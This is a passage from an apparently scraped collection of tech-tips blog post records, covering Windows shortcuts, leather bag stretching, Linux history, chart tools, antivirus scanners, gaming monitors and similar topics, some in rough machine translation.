Pin to start screen item, select it to pin the app.\n Or with the apps you use often, when you open the search engine, you can see them right away. If you need to pin them to the Start Menu, all you need to do is right-click them and select Pin to start screen.\n Step 2: Then, click on the Windows icon, the Start Menu will be displayed, you will see the applications pinned on this menu and including the application you just pinned.\n Step 3: If you don't want to pin that application anymore, you can right-click it and select Unpin from Start menu.\u0026nbsp;\n With this feature, I was able to open the application 3 times faster than before, try it now. Good luck.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiZo3qivM%2BloJyZpJ68r7%2BMraZmr5mjsbDD0mZoamWTpLqxwdOeqWark6eyprqMraZmp6Cau26ywKyrnqo%3D\n","link":"/post/how-to-pin-applications-to-windows-11-computer-screen-to-open-faster/","section":"post","tags":null,"title":"How to pin applications to Windows 11 computer screen to open faster"},{"body":" A professional leather repair shop should have no problem stretching your bag out. This is the safest way to make a leather bag bigger, but you will have to pay for the work to be done. If the bag isn't valuable and you don't feel like...\nFilling the Bag to Stretch it Out Find a pillow that is slightly larger than the inside of your bag. Look around your home for a throw pillow, couch pillow, or some small cushion that is roughly 1–4 inches (2.5–10.2\u0026nbsp;cm) bigger than your bag on each side. If your bag is really big, you may be able to use a standard pillow for this. If you have multiple pillows that will work, use the stiffest pillow available.[1] You can line the bag with a shirt or towel and add the pillow after to make the interior of the bag a little smaller if you don't have a perfect pillow for this. Tip: You can use newspaper instead if you can't find a pillow that fits correctly. The pillow is ideal for this though since it's the perfect size for bag stretching and will apply pressure evenly on each side of the bag.[2]\n Stuff the pillow inside the bag and zip it up if possible. Open your bag up and remove anything inside of it. Compress the pillow in your hands and push it inside of your bag. Tuck the corners of the pillow into the corners of the bag and line it up so that the pillow is sitting evenly inside of the bag. If you have a zipper, push the pillow down a little and zip the bag if you can.[3] If the pillow is pushing on the bag so hard that you can't zip the bag, don't try to zip it shut. You're just going to break the bag if you close it when it's stuffed too full. Zipping the bag isn't mandatory for this to work anyway, so it's not worth risking it.  Let the bag sit with the pillow inside for 1-3 days to stretch it out. Set the bag in your closet or some other place where it won't get damaged or in your way. Let the pillow sit inside of the bag to stretch the leather out gently over time. The pillow will gently force the leather to expand and your bag may get a little bigger.[4] You may need to keep the pillow inside of the bag for much longer if you aren't seeing any results. Realistically, you can leave the pillow inside for as long as you want. Let the bag rest for 2-3 months if you don't need it right away and want to stretch it as wide as you can.  Using a Stretching Spray Pick up a leather stretching spray designed for shoes. Go online or stop by your local shoe store and pick up a bottle of leather stretching spray. This spray is typically designed for shoes, but there's no reason it won't work on a leather bag.[5] Expect to spend $5-15 on a leather stretching spray. You can use a leather conditioning spray instead if you simply want to soften the leather up. This may make your bag feel bigger without stretching the material too much.  Stuff the bag with a pillow or newspaper to expand the leather. You aren't going to stretch the leather out very much if you don't stuff the bag with something to keep the material spread out. Either tuck a pillow inside of the bag or ball up enough newspaper to fill the bag entirely. Zip the bag if you have a zipper.[6]\nTip: When you use a stretching spray to stretch shoes out, you have to wear them around after applying the spray. This is basically the same concept. The pillow or newspaper pushes on the sides of the leather and opens the material up for the spray to soak through.\n Shake the leather stretcher up and spray the surface of your bag. Shake the stretching spray back and forth for 5-10 seconds to mix the ingredients up and activate the spray. Take the cap of the spray off and hold the nozzle 5–8 inches (13–20\u0026nbsp;cm) from the side of your bag. Spray your bag back and forth to cover the entire side of the bag.[7] You can spray and buff each side of the bag separately, or coat the bag entirely in the spray and wipe it down all at once. Do whatever is easier for you.  Buff the surface of the leather out with a microfiber cloth. Grab a dry, clean microfiber cloth and gently work the leather stretching spray into the surface of the leather. Use firm circular motions and back-and-forth strokes to work the spray into the leather. Continue wiping until there is no leather stretching spray visibly sitting on the surface of the bag.[8]\n Repeat this process on the rest of the bag and let the leather air dry. Continue spritzing and buffing the surface of the bag until you've worked the spray into every portion of the bag. Let the leather air dry and keep the newspaper or pillow inside the bag for 1-3 hours. Remove the pillow or newspaper after you're done to finish stretching the bag.[9] You may need to repeat this process multiple times to see any results.  Soaking the Bag in Alcohol and Water Fill a small bin with a 1:1 solution of rubbing alcohol and water. Grab a bucket or storage bin that is big enough to submerge your bag entirely. Fill it up 1/3 of the way with rubbing alcohol. Then, fill another 1/3 of the container with regular tap water. Use a wooden spoon or mixing stick to mix the solution together.[10] This will work, but it may wash out any dyes or ink on your bag. If your bag is dyed or has some fancy interior fabric, this is probably not the best option for you. Depending on the size of your bag, you may need 1–2 gallons (3.8–7.6\u0026nbsp;L) of rubbing alcohol to do this. This process is much easier if you have a smaller purse or handbag.  Soak the bag in the solution for 15-30 seconds. Empty your bag out entirely and submerge the bag in the rubbing alcohol and water. Hold the bag by the tip of the handle and use your spoon or mixing stick to push the rest of the bag entirely under the surface. Keep the bag submerged for 15-30 seconds to give the solution time to soak through the bag entirely.[11] You typically wouldn't need to soak a leather shoe or belt in the alcohol and water for this long, but bags have plenty of creases and the fabric is typically much thicker than other leather objects.  Lift the bag out and hang it by the straps with a heavy object inside. Pull the bag up out of the solution and wait 5-10 seconds for the excess alcohol and water to drip off into the bucket. Then, hang the bag on a hook or tension rod over a sink, tub, or bucket. Set a 5–10\u0026nbsp;lb (2.3–4.5\u0026nbsp;kg) brick, weight, or other heavy object inside of the bag to weigh it down.[12]\nTip: Use your best judgement when weighing your bag down. Don't pick something so big that it will break the straps, but you do need to weigh it down to stretch the material out. Use the strength of your straps to guide how much weight you should put in the bag.\n Let the bag hang and air dry for 8-12 hours to stretch it out. Wait for the heavy object to stretch the leather out after the alcohol has softened it up. Keep it on the hook or tension rod for half a day or so and let it drip dry into the bucket, sink, or tub underneath. After the bag has entirely dried out, take it down and enjoy your newly stretched out bag![13] If the fabric lining is still a little damp, use a blow dryer to heat the inside of the bag and remove the excess moisture.   Marvin Fry Update 15 April 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqukp7K1r8dmmGaklZbBqbHRZpmanw%3D%3D\n","link":"/post/how-to-stretch-a-leather-bag/","section":"post","tags":null,"title":"How to Stretch a Leather Bag"},{"body":"Linux is everywhere, crept into every corner of our lives. From the phone, computer, to the whole internet. Even Linux is now finding a way to be present on TVs, heat sensors, and cars.\n25 years ago, August 25, 1991, Linus Torvalds, a Finnish computer student, announced a new project. \" I am working on a free operating system. \" He wrote that on a messaging system over the Internet and considered it a pleasure.\nBut then it became bigger, much bigger than the author's imagination. Today, the open source operating system - Linux - is one of the most important pieces of the computer software world. Linux runs on every Android phone and tablet on earth. It spreads over the entire Internet, serving on most websites that you see and support for most applications you use. Large websites, social networks like Facebook, Google, Pinterest, Wikipedia - all run on Linux.\n  Open source operating system - Linux\nThe idea started The source of this operating system may have to be retraced more than 25 years earlier, by the time of the creation of the AT\u0026amp;T Bell Labs operating system in 1969. For decades, Unix was the target operating system. Standard for commercial computers, but it has a drawback. It is owned by AT\u0026amp;T, and it only runs on expensive devices. Technology enthusiasts want something that they can cook and patch on their personal computers.\n  Richard Stallman, who created GNU for Linux.\nIn 1984, Richard Stallman began working on GNU, an operating system similar to Unix. The GNU name stands for \"GNU's not Unix\" . By 1991, Stallman and the company had succeeded in rewriting most of Unix, but they lacked an important component: the kernel, which made the basic core of an operating system - this is also the part \" talk \"to the hardware and translate basic commands entered from the keyboard, mouse and touch screen, into things that the software can understand. So Torvalds decided to create a kernel.\nSoon after, other developers used the Linux kernel in conjunction with GNU and a variety of other tools to put together their own operating system. So many people still call these operating systems \" GNU / Linux distributions\" . But this Linux kernel has made Android and a lot of newer parts of the software world.\nDominate the Web According to a study of W3Techs, Unix and Unix-like operating systems provide about 67% of web servers. At least half of them run Linux and may be the majority.\n  Even Microsoft , one of Linux's archenemy, has to accept this open-source operating system. In 2012, Microsoft announced that it would allow companies running Linux on their cloud computing service, Microsoft Azure. About 1/3 of Azure users are running Linux instead of Windows. Windows itself also uses Linux for some network technologies behind Azure.\nEven, Microsoft has partnered with a Linux and Canonical vendor to help developers easily build Linux applications on their Windows laptops. This shows the importance of Linux for web developers.\nBecause most Linux versions can be downloaded for free and even used for commercial purposes. Moreover, Linux is open source, meaning anyone can freely edit and redistribute its source code, modify it to better serve their own purposes.\nAs the web grows, developers edit Linux to respond to their requests and release new Linux-based operating systems, to pack all of their favorite web technologies together. Important technologies such as Apache web server, MySQL database, and Perl programming language become key components in every major Linux distribution.\nBut Linux also has a lucky part. It was not the only free operating system in the 1990s, but a legal battle between AT\u0026amp;T and a company called Berkeley Software Design slowed the growth of major Linux competitors.\nGreat progress Before 2008, although it was well developed, Linux was still behind the scenes, silently providing the power of web servers of the world's largest companies that had never found much success on devices. personal.\nIt wasn't until Google released Android that Linux found its way to phones. Android can't run Linux desktop applications, but Android's success has given a big boost to Linux and the open source community, because ultimately, this open-source operating system can work on applications. for consumers.\nAndroid is now dominating the smartphone market. You can even find Linux in smartTV from companies like LG, Samsung, Nest's thermal sensors, Amazon's Kindle ebook reader, and drones from companies like 3DR.\nBig screens in Tesla 's electric cars also run Linux, and many other auto companies - like Toyota, Honda and Ford - who sponsor Automotive Grade Linux projects, to build software for connectivity car. And when the cars themselves run on the road, they will almost certainly use Linux.\nThe reason today's companies come to Linux when they want to build some new technology is similar to how developers found this operating system in the 1990s: They can customize it to suit their love. their demand, and then share (or sell) the result without any permission. And it all started from the day the student decided to share his achievements with the world.\nncG1vNJzZmismaXArq3KnmWcp51kuaq61LFko6elp7umxYyfqailXZZ6p8HNZquoZaOks7XDwKucZqyYlsFusM6moKeZpJrAbsDHnmSwp6KhsQ%3D%3D\n","link":"/post/journey-from-a-fun-to-software-that-dominates-the-world/","section":"post","tags":null,"title":"Journey from a fun to software that dominates the world"},{"body":"The Video Electronics Standards Association (VESA) recently announced the latest DisplayPort 1.3 communication standard, which is the type of connection commonly used in Thunderbolt cables and others.\n  \nIts biggest significance is to support monitors with resolutions up to 5K (5120 x 2880) and enhance 4K output quality.\nWe recently saw Dell introduce a 5K display, but there are rumors that Apple will make a 27-inch 5K screen later this year, but the biggest obstacle is that the DisplayPort 1.2 standard currently only supports 4K is max. Luckily, the official presence of standard 1.3 will pave the way for the appearance of many new 4K and 5K screens in the future.\nDisplayPort 1.3's bandwidth has been raised to a new level of 32.4 Gbps, much higher than the 21.6 Gbps of version 1.2 released five years ago. In addition to supporting 5K resolution, DisplayPort 1.3 also allows people to export video at the same time to 2 4K screens, each with a resolution of 3840 x 2160 pixels with a single transmission. Besides, DisplayPort 1.3 also supports other interfaces including HDCP 2.2 and HDMI 2.0 CEC, supporting the 4: 2: 0 pixel structure commonly used by digital TV stations to support the level 8K resolution in the future.\nTherefore, if you plan to use 5K devices in the future, you should pay attention to the equipment you are about to buy with DisplayPort 1.3 support.\nncG1vNJzZmismaXArq3KnmWcp51kvKeyyJygmqScrnqprdJmm6KroKGuurzOq6tmaWNiwLWtzZ2Yq5xdqbxuv9Spp6iqpGKCrHnSnKmenZ4%3D\n","link":"/post/officially-has-displayport-1-3-standard-to-support-5k-screen/","section":"post","tags":null,"title":"Officially has DisplayPort 1.3 standard to support 5K screen"},{"body":"TipsMake.com - Whether you are a developer, software developer, graphic designer, architect . most of the stages in the job are definitely related to creating and drawing charts. This process is really useful if you want to present an idea, which is difficult to do in any other way . Currently, there are many programs and applications that support charting for the Desktop platform, but in some cases the use of the software is really not convenient and comfortable, for example when You have to move between different computers and offices . In the following article, we will introduce you to 25 online utilities - which are web-based software programs that can Help us a lot in creating, drawing and editing charts.\nTop 25 online chart creation tools 1. Gliffy 2. LucidChart 3. Livegap Charts 4. Beam 5. Google Charts 6. Visme Graph Maker 7. RAW Graphs 8. DIY Chart 9. Online Chart Generator 10. Chartle.net 11. ChartGo 12. Create A Graph 13. JS Charts 14. Pie Chart Tool 15. Piecolor 16. Hohli Charts 17. Chartpart 18. Chart Maker 19. amCharts Visual Editor 20. Pie Chart Maker 21. ChartGizmo 22. Onlinecharttool.com 23. OWTChart Generator 24. Highcharts 25. Google Chart Generator 1. Gliffy.com Let's start with the most powerful and flexible program today, it's Gliffy. Users can apply existing template sets or create new files based entirely on demand. So what kind of charts can we create with Gliffy ? The interface interacts with users of the Website or software, Venn diagram, organizational chart, diagram, network system, UML chart . in short, it is very much and varied. And for each type of chart there are many different templates, so the choice of users will not be limited:\n  The interface of the application works by dragging and dropping the corresponding objects, and if you want to use the chart with some other document documents, it can be extracted into PNG, JPEG, or SVG format. However, one point to note is that you can only use the first 5 charts for free, and then you want to continue to pay for it.\n\u0026gt;\u0026gt;\u0026gt; Video reference:\n2. LucidChart.com If you want to describe the characteristics of LucidChart online tool, it can only be said that it is very simple and very flexible. Built on HTML5 technology, so we can use LucidChart with any browser.\nSimilar to the above online applications, LucidChart supports convenient drag and drop functionality: corresponding objects and images. After registering an account, you can choose between two forms: free and paid (support more objects and components in the process of use), besides the ability to upload and Save the document as a Visio chart.\n  Because it works through the browser, you won't need to worry about having to use different operating systems\n\u0026gt;\u0026gt;\u0026gt; Video reference:\n3. Livegap.com    Livegap Charts is a free charting service that provides a live preview of the chart, as soon as you add data to a spreadsheet or upload data from MS Excel. You can choose from a variety of chart types - line, bar, domain, round, etc. No registration or download is required when using the Livegap Charts.\n4. Beam   Beam helps users create beautiful and professional charts, in many different shapes, colors and highly customizable. You can share your charts on social networks or embed them in websites or blogs. Data visualization is optimized for mobile devices and is completely free when creating charts.\n5. Google Charts   Google provides services in all areas, including data visualization. Google Charts is a free, full-featured tool that is easy to use. You can create interactive charts, choose any option from a diverse library and create dynamic real-time updates.\n6. Visme Graph Maker   Visme Graph Maker is free and offers a wide range of powerful features. An easy online tool to create attractive charts, graphs and infographic. You can create animated graphs, turn reports into infographic, choose from many beautiful templates, share data visualization online or download for offline use.\n7. RAW Graphs   RAW Graphs can turn simple spreadsheets into beautiful charts with just a few simple steps. Just paste the data into this web application, choose a suitable visual model and create a chart. You can check the preview and make any visual changes, modifications or improvements in your favorite vector graphics.\n8. DIYChart.com   DIY (Do it yourself) Chart is a simple and powerful web-based online tool for creating interactive charts and graphs. You can use static or dynamic data created in any scripting language.\n9. Online Chart Generator   Online Chart Generator is a simple online charting tool, especially suitable for beginners, thanks to the completely easy-to-use interface. You can create amazing 3D graphs in seconds.\nLink to reference: chartgen.blogspot.com\n10. Chartle.net   Chartle.net online chart generator eliminates the complexity of data visualization, by providing simple, popular and highly interactive features to users.\n11. ChartGo.com   ChartGo allows users to create charts online at a glance. Just paste the statistics into the chart data area and click the chart creation button.\n12. Create A Graph   You can actually create a detailed chart with Create A Graph and see how it looks in the preview. You can then print, download or email the created charts.\n13. JSCharts.com   JS Charts is a JavaScript chart generator that requires little or no programming skills. JS Charts allows you to easily create charts in various templates such as bar charts, pie charts or simple line charts.\n14. Pie Chart Tool   Pie Chart Tool creates a pie chart based on the data you provide. All you have to do is enter the data and names of the categories into the tool and you'll get a nice chart.\n15. Piecolor.com   Piecolor is a round chart creation tool with different colors very easily.\n16. Hohli Charts   Hohli Charts allows you to automatically create charts. Charts can be created in different sizes and styles.\nLink reference: charts.hohli.com\n17. Chartpart.com   This charting tool uses the Google Chart API and the user-friendly interface to visually visualize data.\n18. Chart Maker   This is an online chart generator for Chart Server API. Just select a chart type, fill in the data and click the Preview button.\n19. amCharts Visual Editor   This editor allows you to use amCharts as a web service. This means that all you need to do is configure the chart and paste the generated HTML code into your HTML page.\n20. Pie Chart Maker   This free tool exports a pie chart as an image that you can save to your computer.\n21. ChartGizmo   With ChartGizmo free account, you can now create charts and graphs for your website, blog or social networking profile.\n22. Onlinecharttool.com   With Onlinecharttool.com, you can design and share your own charts online and for free.\n23. OWTChart Generator   OWTChart Generator is an online tool used to create charts. The GIF image of the chart you specified will be displayed on the screen.\nLink to reference: maptools.org/owtchart/chartgen.phtml\n24. Highcharts   Highcharts is a chart library written in pure JavaScript, providing an easy way to add interactive charts to web pages or web applications. Highcharts currently supports line, column, bar, round, domain and dispersion charts.\n25. Google Chart Generator   This Google Chart Generator tool can create basic charts in many different display modes in seconds.\nLink reference: heavytrader.it/google-chart-generator.php\nWish you find the right tool!\nncG1vNJzZmismaXArq3KnmWcp51kwLC5xGarqKecqHq1u4yhnKWoXZi%2Fpq3TnmSoppyeu6Z5wqGYq6yj\n","link":"/post/some-tools-to-help-create-online-charts/","section":"post","tags":null,"title":"Some tools to help create online charts"},{"body":"In addition to the browser-specific shortcuts, we will guide you to add some small tricks to surf the web more effectively by using the mouse wheel. Let's refer to offline.\nThe power of the Scroll key Surf the web more easily with the Shift key 30 shortcuts for IE, Firefox and Google Chrome Open the link to the new tab Normally, when you want to open a website link in a new tab of the browser, you must right-click the link, select Open Link in New Tab from the pop-up menu and then left-click the medium card open to view content.\n  However, there is a quicker way that you can move the mouse pointer to the link to open and just press the mouse button lightly on the link. This method will help open a new page in the new card without losing the content page you are viewing. Besides, you can also close the browser tab by moving the mouse pointer to the tab you want to close and then clicking the mouse button.\nUse auto site scrolling function When you want to quickly see a website that is too long, you can use the auto-scroll function, click the scroll button when the cursor is on the page so that the cursor changes to a circle with a dot in the middle (as shown below). ). To turn off this feature, you left click once on the site itself.\n  Adjust website size If you feel that the webpage font is viewing too small or too large, you can press, hold down the Ctrl key and then rotate the scroll button up or down to change the font. Rotating the mouse button down will make the font smaller and rotate up to make the font bigger.\n  Each time you perform a rotation of the mouse button in the above operation, the font size will increase or decrease by 10%. This corresponds to the use of Ctrl and + or key - on the keyboard. This trick can also be applied to office software such as Microsoft Word or LibreOffice Writer.\nAlternatively, you can try these seven shortcuts in Chrome and Firefox:\nClick the mouse button on the back button: Open the previous page in the new tab. Click the mouse wheel on the forwarding button : Open any subsequent page in a new tab. Click the mouse on the refesh button: Open a refreshed version of the website you are reading in a new tab. Click the mouse button on the Home button: Open the homepage in a new tab. Click the mouse wheel on the automatic suggestion entry while typing in the address bar: Open this search result in a new tab. Click the mouse on a bookmark page: Open the bookmark in a new tab. Click the roller on a group of bookmark pages: Open the entire bookmark group in new tabs. From the tips above, clicking on the automatic recommendation entry with the roller can save valuable time if you are a person or surf the web.\n  Web searchers can also use mouse rollers to open a refreshed version of a web page in another tab while keeping the older version in a tab.\nClick \"mouse wheel\" on the laptop's touchpad Windows and Mac touchpads work differently while some laptop touchpads do not have this feature turned on by default.\nOn the Mac's touchpad : The easiest way to use the \"mouse wheel\" function on your Mac is to press the Command key when you left click with a finger on the touchpad.\nHaving fun!\nncG1vNJzZmismaXArq3KnmWcp51kwLa%2BxWaroZ1drLKjecyoqZ5llZuzpq%2FToq2epKlixKrAx2aroZ1dory2v8RmrqGdlaE%3D\n","link":"/post/surf-the-web-more-effectively-with-the-mouse-wheel/","section":"post","tags":null,"title":"Surf the web more effectively with the mouse wheel"},{"body":"An American medical company is promoting a new laser surgery for those who want to permanently change their eye color to blue.\nCalifornia-based Stroma Medical has helped at least 37 patients change their eye color from brown to green with a laser surgery for about 20 seconds.\nLaser works to remove brown melanin, a pigmented pigment for hair and skin.\nWithout brown melanin, when light enters and disperses in the stroma, blue will appear.\n  In an earlier interview with CNN, the representative of Gregg Homer said the laser was so weak that the eye did not hurt when it came into contact.\nHowever, the medical industry and ophthalmologists are still concerned about the inability to reverse the eye color of this surgery.\nSee more:\n20 interesting facts about EYES may be unknown Eye care method properly after surgery ncG1vNJzZmismaXArq3KnmWcp51kwLa%2Bxp6psmWTlrtuvMSrpJqmlaPBrcWMnJ%2Bappeaerq71KtknrGVYrCwuM6rZK2nXZe5trE%3D\n","link":"/post/surgery-can-permanently-change-your-eye-color-to-blue/","section":"post","tags":null,"title":"Surgery can permanently change your eye color to blue"},{"body":"Virus! One of the most frightening terms and often misrepresented in the computer field. The origin of 'all' is bad, at least many people think so. We have seen many computer users have to deal with problems, including hardware and software, and are compromised by the so-called 'virus' in their systems. But the truth is not quite that much. So what is a real anti-virus program? Antivirus software are computer programs that can identify and neutralize or isolate malicious software. The term 'antivirus' is used because the original examples were designed specifically to combat computer viruses; although most modern antivirus software is designed to withstand many of the specific threats, such as worms, phishing attacks (phishing), rootkits, trojan horses and sections. Other malicious software. Typical anti-virus software uses two different methods to accomplish this task:\nCheck (scan) files to find out which known viruses match the definitions in the virus dictionary\n Identify suspicious behaviors from a computer program that may indicate infection.\n When you have to use many Antivirus programs, there will be many good and bad points of all of them. But is there a really good program. There is absolutely no perfect Antivirus program. The natural nature of Antivirus's working principle is to only release the virus removal process only when the virus is born. With this loophole, it will determine the effectiveness of anti-virus software between the time it takes to create the virus and the therapeutic vaccine.\nSome roles of online Antivirus programs    How can the Antivirus program help you? When no antivirus program is perfect, it is better to use dual protection, which means you have to have two antivirus programs to scan your computer. However, you can't (or don't) use two antivirus programs simultaneously on one machine. So why not try a free antivirus program online. That is the reason we introduce to you this article. Here we introduce you 10 best free online virus scanning utilities, emphasizing to you the 'absolute' free. 1. Trend Micro HouseCall 6.6 Free Scan : HouseCall is a free Web tool designed to scan your computer for Internet security threats such as viruses, worms, Trojans and spyware. It can also detect system vulnerabilities and provide links so you can easily download missing security patches. After scanning, HouseCall will provide a detailed report of any security threats detected on your computer. 2. Panda ActiveScan : Panda ActiveScan 2.0 can detect all types of viruses, Trojans, worms, spyware, attack tools and security risks (potential) that are neither positive nor positive on your computer. . It can also detect software vulnerabilities that are installed on a computer that can compromise security. Panda ActiveScan 2.0 can be used wherever you want to protect your computer from all threats. In addition, if you have registered or purchased a paid version, it will be possible to completely remove the dangers that ActiveScan 2.0 finds in your computer. 3. Computer Associates Virus Scanner : This scanner requires a browser like Internet Explorer to be able to render ActiveX objects. 4. Symantec Security Check : Virus Detection checks known threats, including the top threats identified by Symantec Security Response. It provides analysis of results and provides suggestions for other actions. However, this program does not check compressed files. To run Virus Detection, you must use Microsoft Internet Explorer 5.0 or higher to enable ActiveX and Scripting. 5. McAfee FreeScan : McAfee FreeScan can help you detect thousands of viruses on your computer. Based on McAfee VirusScan, FreeScan can detect viruses, including known viruses and display a list of infected files. When the virus is detected FreeScan will provide links to more detailed information about the virus and what to do to clean up your system. 6. BitDefender Free Online Virus Scan : BitDefender Online Scanner is an on-demand virus scanner that incorporates BitDefender scanning mechanisms. You can use it to scan the system memory and all the files and boot partitions of the drive, automatically clean the infected files. This utility is also based on ActiveX, so you need to use Internet Explorer. 7. ESET Online Scanner : A powerful and user-friendly tool, this antivirus utility can remove malware — viruses, spyware, adware, worms, trojans, and many other malicious software — from a computer just using it. Use web browser. No installation required. This scanner uses the same technology of ThreatSense® and virus signatures of ESET NOD32 Antivirus, which means it is always up to date. 8. Free Virus Scan - Kaspersky Lab : This free online virus scanner is a great way to find out if you are infected with a virus or spyware in your computer without canceling the installation of the current antivirus software. you or install a new software. Most importantly, you can see what viruses your current antivirus software can't fix. This free online virus scanner is very powerful, so it can take hours to complete the job. We recommend that you run it for a short time using the device. 9. F-Secure Free Virus Scanner : F-Secure Online Virus Scanner (version 3.3) is a free service. Use it to see if your computer is infected, and clean your computer if needed. This product will automatically download the required components and the virus definition database when it starts running. The size of the download package is about 35 MAILBOX. 10. Authentium :: Command-On-Demand - Free Virus Scanner : Authentium Command On Demand is an effective free virus scanner. It can scan over half a million threats from the Internet and use definition files updated daily.\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGpnZp6imrJuu82loKedXZa7tbXVoqmuq12lv7Cz0ZqkrA%3D%3D\n","link":"/post/top-10-free-online-antivirus-programs/","section":"post","tags":null,"title":"Top 10 free online antivirus programs"},{"body":"If you are looking for a gaming monitor to complete the PC for your gaming needs. Top of these monitors have prices ranging from low, medium to high end. TipsMake will help you choose the right monitor for your needs as well as economic conditions.\n1. Dell SE2417HG 24inch Full HD Gaming Monitor The Dell SE2417HG Gaming Monitor with TN panel has a refresh rate of up to 76Hz. With a response speed of only 2ms. Modern ultra-thin screen design is quite beautiful.\n  Full HD resolution for the most vivid and realistic picture for users to immerse in the playing atmosphere while playing. The monitor is also equipped with various ports such as dual HDMI and VGA. Users comfortably connect the projector to a larger screen.\n2. LG 24MP59G-P 24 inch Full HD gaming monitor LG 24MP59G-P gaming monitor measures 24 inches. With full HD resolution and 75Hz refresh rate, 5ms response speed. The screen brings a lot of very good visual experiences to the user.\u0026nbsp;\nBesides, it is also equipped with many other technologies such as Motion Blur Reduction, AMD Freesync, . Limit image noise and increase the quality of the most realistic image reflection.\u0026nbsp;\n  Especially the Dynamic Action Sync feature helps to process images at high speed. Delivers the smoothest visual experience. The plus point of this monitor is that there are many professional game modes such as FPS Game, FPS Game 2, RTS Game and Custom Game.\n3. ASUS ROG SWIFT PG279Q gaming monitor\u0026nbsp; The 27-inch 1440p screen is quite expensive, but it is well worth the price tag. The product is equipped with one of the best panels for gaming: AU Optronics Advanced Hyper Viewing Angle (AHVA).\nTherefore, the picture quality of this monitor is something you can rest assured when buying. Extremely impressive sharpness, color, and contrast deliver the best visual experiences.\u0026nbsp;\nThe screen bezel is also quite thin, with high scanning frequency. Not stopping there, the monitor also supports G-Sync technology. So when using the screen you will not need to worry about the image is noisy or torn.\n  4. ASUS ROG STRIX XG32VQR monitor best supports Freesync The gaming monitor measures up to 32 inches with 1800R curvature - considered one of the best Freesync capable monitors. The screen uses a VA panel and the ability to contrast a large amount of light and dark, combined with a resolution of 1440p. Its refresh rate is up to 144Hz, 94% DCI-P3 color coverage and HDR content rendering for vivid images that serve the best of gamers.\n5. BENQ GW2270H Gaming Monitor with Low Price With prices ranging from 150 USB only, the BENQ GW2270H monitor is suitable for gamers with low economy. Although cheap, but still equipped with VA panel with 1080p resolution. The pixel density is on par with that of the 27 '1440p screen. So in general, this product is also quite worthy to experience for gamers.\n  Above are the top 5 gaming monitors that are quite popular with many different prices.\u0026nbsp;\nTop 5 best gaming monitors ncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5km52jqXqorcyipaBlnaS7qsDOq6pmamBnfQ%3D%3D\n","link":"/post/top-5-best-gaming-monitors-2020/","section":"post","tags":null,"title":"Top 5 best gaming monitors 2020"},{"body":"Appearance can captivate women at first sight. However, in order to have a long-lasting attraction to them, looks are not enough, charisma comes from a set of factors including self-confidence, humor, distinctness, possessing common personality, fashion style. Page.\nTo help you nurture your attractiveness, some of the following advice from experts will be extremely helpful to you. Let's refer to offline.\n1. Always care about people around   According to experts, to make a good impression and attract the other, it is best to care about others instead of paying attention to yourself too much. A simple example is, in a first date, instead of telling you too much, ask interesting questions and chats around your partner so that they feel interested and respected and They will judge you as attractive, friendly and interesting.\n2. Have a variety of life experiences   In addition to work, men should give themselves other interests such as sports, or their own talents . these will help men become more attractive and attractive in other people's eyes.\nJoseph Burgo also said that those who are passionate about work and are less interested in the world around them will find it hard to find a topic to talk to or continue the story with others. Therefore, in a meeting, they are often silent or tell stories with poor themes, accidentally causing relationships to become boring.\n3. Smile will help you shine   A very simple way and anyone can do it to attract others is the smile. Smiles have great power, making the atmosphere around you become more cheerful, and when you smile with someone they will definitely give you a smile.\nScience has proven, when you smile your face muscles release a neurotransmitter Endorphin. This signal is then directed onto the brain nerves, which will now regulate your emotions from stress, which will make you happy and happy.\nSo always smile a lot. It is a simple way to connect people together.\n4. Live with passion   A person who lives without a passion, a personal ambition for himself or herself is truly boring. Such people rarely make an impression on others, because of their superficiality and superficiality.\nLive needs passion and dreams. The path of each of our lives is still very long and thorny, so keep dreaming, keep pursuing this life to be meaningful and beautiful.\n5. Know to take care of yourself   Focusing too much on your appearance will make you become a pale person. However, people who take care of themselves to stay healthy from their thoughts: healthy nutrition diets, exercise, and getting enough sleep for the body are healthy, private lifestyles. Only positive.\n\"People who often neglect, don't take care of themselves, don't care about themselves, the excitement of connecting with others will decrease,\" Burgo said.\nPhysical activities help people feel better and in a better state, reduce stress and negative emotions. At that time, you will think more positively, thereby becoming attractive in the eyes of others.\n6. Applicable in all circumstances   When there are arguments, opinions of disagreement instead of arguing about who is right and who is wrong, put yourself in someone else's position to think. This job not only avoids unnecessary conflict, but it also helps you build better relationships.\nSensitive, creative, quick to respond in any situation will help you have a stronger relationship. Because both parties feel respected. In addition, men who are improvised in all situations will make women feel more secure when they are with them.\n7. Always open and listen to people   Instead of being self-contained, you should live more openly. Letting go of life makes you more sociable and more attractive to people around you. You will make others feel like: she / he listens to his opinions seriously even though the two sides have conflicting views, they care enough to try to understand what they are thinking. • Openness and friendliness are the foundation of trust and cooperation, helping relationships develop in a good way.\nncG1vNJzZmismaXArq3KnmWcp51kxKrAx6isrWWRYoO7u82eZJqooJqus63NnJxmpZWjeqStzWaqraGcoXqiwNOrmJysXay8rrHNZqCnZaSdsm6yzqWjqK%2BZo7Ruw8Cyqg%3D%3D\n","link":"/post/without-a-6-zone-appearance-men-can-still-attract-women-in-the-following-ways/","section":"post","tags":null,"title":"Without a 6-zone appearance, men can still attract women in the following ways"},{"body":"On a beautiful day, when you access a folder on your Windows 10 computer and suddenly on the screen displays an error message: ' You have been denied permission to access this folder. Để lấy truy cập truy cập vào thư mục này, bạn cần phải sử dụng Tab lệnh security .\nLỗi ' Bạn đã được phép phép phép phép truy cập này folder. To gain access to this folder you will need to use the security tab 'appear when you try to access a protected system folder on Windows 10 or previous Windows operating systems. For example, if you try to access the WindowsApps folder, then you will receive an error message on the screen.\nIn order to access this folder you must perform additional steps to change the directory permissions. However, you must use Admin permissions, or you need to have an admin password to change the permissions of files and system folders on your Windows 10 computer.\nIn the following article, Network Administrator will guide you 3 ways to fix the error: ' You have been granted permission to access this folder. To gain access to this folder you will need to use the security tab 'and can access any folder on your Windows 10 computer.\n  Sửa lỗi bạn đã được phép phép truy cập này folder 1. Master file or folder Step 1:\nOpen File Explorer. Navigate to the location of the folder you want to master.\nStep 2:\nRight-click the folder and select Properties .\n  Step 3:\nOn the Properties window, scroll to the Security tab . Here you click the Advanced button to open the Advanced Security Settings window for the current directory.\n  Step 4:\nOn the next window you will see the Change link next to the Owner pane. Click the link Change to open the Select this object type dialog box.\n  Step 5:\nHere, in the Enter the object name to select box , enter Administrators , then click the Check 